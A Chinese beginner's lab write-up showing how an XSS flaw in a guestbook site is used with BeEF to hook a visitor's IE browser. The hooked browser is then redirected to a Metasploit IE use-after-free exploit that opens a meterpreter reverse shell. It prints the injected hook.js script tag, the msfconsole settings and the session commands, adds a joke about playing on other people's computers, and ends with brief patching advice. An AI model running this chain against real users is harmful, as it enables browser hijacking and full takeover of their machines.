友情提示:
初入安全,小白一个,本文重在学习与经验分享!
背景
XSS漏洞可以追溯到上世纪90年代。大量的网站曾遭受XSS漏洞攻击或被发现此类漏洞,如Twitter、Facebook、MySpace、Orkut、新浪微博和百度贴吧。研究表明,最近几年XSS已经超过缓冲区溢出成为最流行的攻击方式,有68%的网站可能遭受此类攻击。根据开放网页应用安全计划(Open Web Application Security Project)公布的2010年统计数据,在Web安全威胁前10位中,XSS排名第2,仅次于代码注入(Injection)。
跨站脚本攻击(XSS)是指恶意攻击者往Web页面里插入恶意Script代码,WEB网站在开发过程中,并未过滤相关的JavaScript函数,导致函数可以输入到html中执行。当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
XSS漏洞的危害包括但不限于诸如:劫持用户会话,插入恶意内容、重定向用户、使用恶意软件劫持用户浏览器、繁殖XSS蠕虫,甚至破坏网站、修改路由器配置信息等。
1. beef介绍
BeeF是目前欧美最流行的web框架攻击平台,kali 集成Beef,而且Beef有许多好使的payload。例如,通过XSS这个简单的漏洞,BeeF可以通过一段编制好的javascript控制目标主机的浏览器,通过浏览器拿到各种信息并且扫描内网信息,同时能够配合metasploit进一步渗透主机。
zombie(僵尸)即受害的浏览器。zombie是被hook(勾连)的,如果浏览器访问了有勾子(由js编 写)的页面,就会被hook,勾连的浏览器会执行初始代码返回一些信息,接着zombie会每隔一段时间 (默认为1秒)就会向BeEF服务器发送一个请求,询问是否有新的代码需要执行。BeEF服务器本质上就 像一个Web应用,被分为前端UI,和后端。前端会轮询后端是否有新的数据需要更新,同时前端也可以向后端发送指示, BeEF持有者可以通过浏览器来登录BeEF 的后台管理UI。
2. 实验环境
本次实验通过XSS漏洞,利用Beef工具劫持用户浏览器会话,并利用MSF(Metasploit)漏洞利用工具获取用户主机的SHELL权限。
Kali IP:192.168.0.11/24
Web站点 IP:192.168.0.252/24,此web站点部署一套逍遥留言板,此web站点存在XSS漏洞。
靶机浏览器版本:IE 7/8/9,此靶机IP为192.168.0.104,前提是IE未打补丁。

XSS漏洞劫持浏览器并利用拿SHELL原理图
3. 漏洞类型
XSS跨站脚本
4. XSS漏洞复现过程
4.1 安装并配置beef工具
kali一般默认安装beef工具,我的kali版本未安装beef,让我们先来安装一下beef工具。
(1) 安装beef
apt-get install -y beef-xss
# 等待自动安装完成即可,默认安装路径/usr/share/beef-xss
(2) 配置beef
vim /etc/beef-xss/config.yaml或者vim
/usr/share/beef-xss/config.yaml
# 编辑哪个配置文件都行,这两个配置文件是链接的关系。
# 此配置文件可以修改默认账号信息以及绑定的IP地址,监听的IP地址等
(3) 启动beef
systemctl start beef-xss
# 较新版本的beef要求必须修改初始密码(beef/beef),编辑config.yaml修改默认账号密码就行。
(4) 登录beef
# URL必须写全才能登录,且默认端口是3000

(5)构造XSS恶意代码
第一,beef的hook(钩子)代码地址为http://*.*.*.*:3000/hook.js,本次实验的代码地址为
http://192.168.0.11:3000/hook.js,可以直接构造XSS的恶意代码:
<script src="http://192.168.0.11:3000/hook.js"></script>
# 此代码插入到web页面中去,用户只要访问带有恶意代码的页面,用户的浏览器就会被劫持。
(6)将XSS恶意代码植入到web站点中

4.2 配置MSF并生成恶意URL
(1) 启动MSF
msfconsole
# kali中默认集成了msf工具,直接敲此命令启动即可。
(2) 基于IE(7/8/9)的MSF漏洞利用工具参数配置
use exploit/windows/browser/ie_execcommand_uaf
# 使用ie_execcommand_uaf漏洞模块
set payload windows/meterpreter/reverse_tcp
# 配置攻击载荷,反弹shell链接,一般默认会使用此载荷
set srvhost 192.168.0.11
# 配置监听地址,此处为kali主机
set srvport 7777
# 配置监听的端口,只要不跟本地kali开启的端口冲突就行

(3) 攻击并监听
run
# 通过run命令或者exploit命令执行攻击并监听,执行此命令后会弹出被劫持浏览器重定向访问的恶意URL链接。

4.3 beef劫持用户浏览器并重定向URL到MSF生成的恶意链接上去
(1) 用户使用IE 8访问存在XSS漏洞的页面

(2)查看用户浏览器是否被beef劫持
用户在访问了带有JavaScript恶意代码的页面后,beef工具会监听到用户的会话链接。

图中显示用户的浏览器已经被劫持。
(3)通过commands模块中的Redirct Browser,将用户浏览器的URL链接重定向到MSF生成的恶意URL链接。

(4)观察用户浏览器以及MSF工具的状态

用户浏览器开始跳转。

MSF工具监控到用户主机反弹的会话信息,并且成功了。
(5)在MSF工具中查看会话状态

(6)通过MSF工具连接用户靶机并拿到用户靶机的SHELL
sessions -i 1
# 1代表的是反弹回来的session的ID号,此处ID为1。
shell
#进入到meterpreter模式后,敲shell命令可以直接进入用户靶机的shell模式

(7) 查看获取的权限类型

获取到用户系统的DOS命令的system权限,小伙伴可以在别人的电脑上愉快的玩耍了,啦啦啦!!!
5. 安全提议
(1)及时更新IE浏览器补丁。
(2)管好自己的手,不清楚的链接不要随意瞎点。
(3)web站点及时修复各种漏洞。
……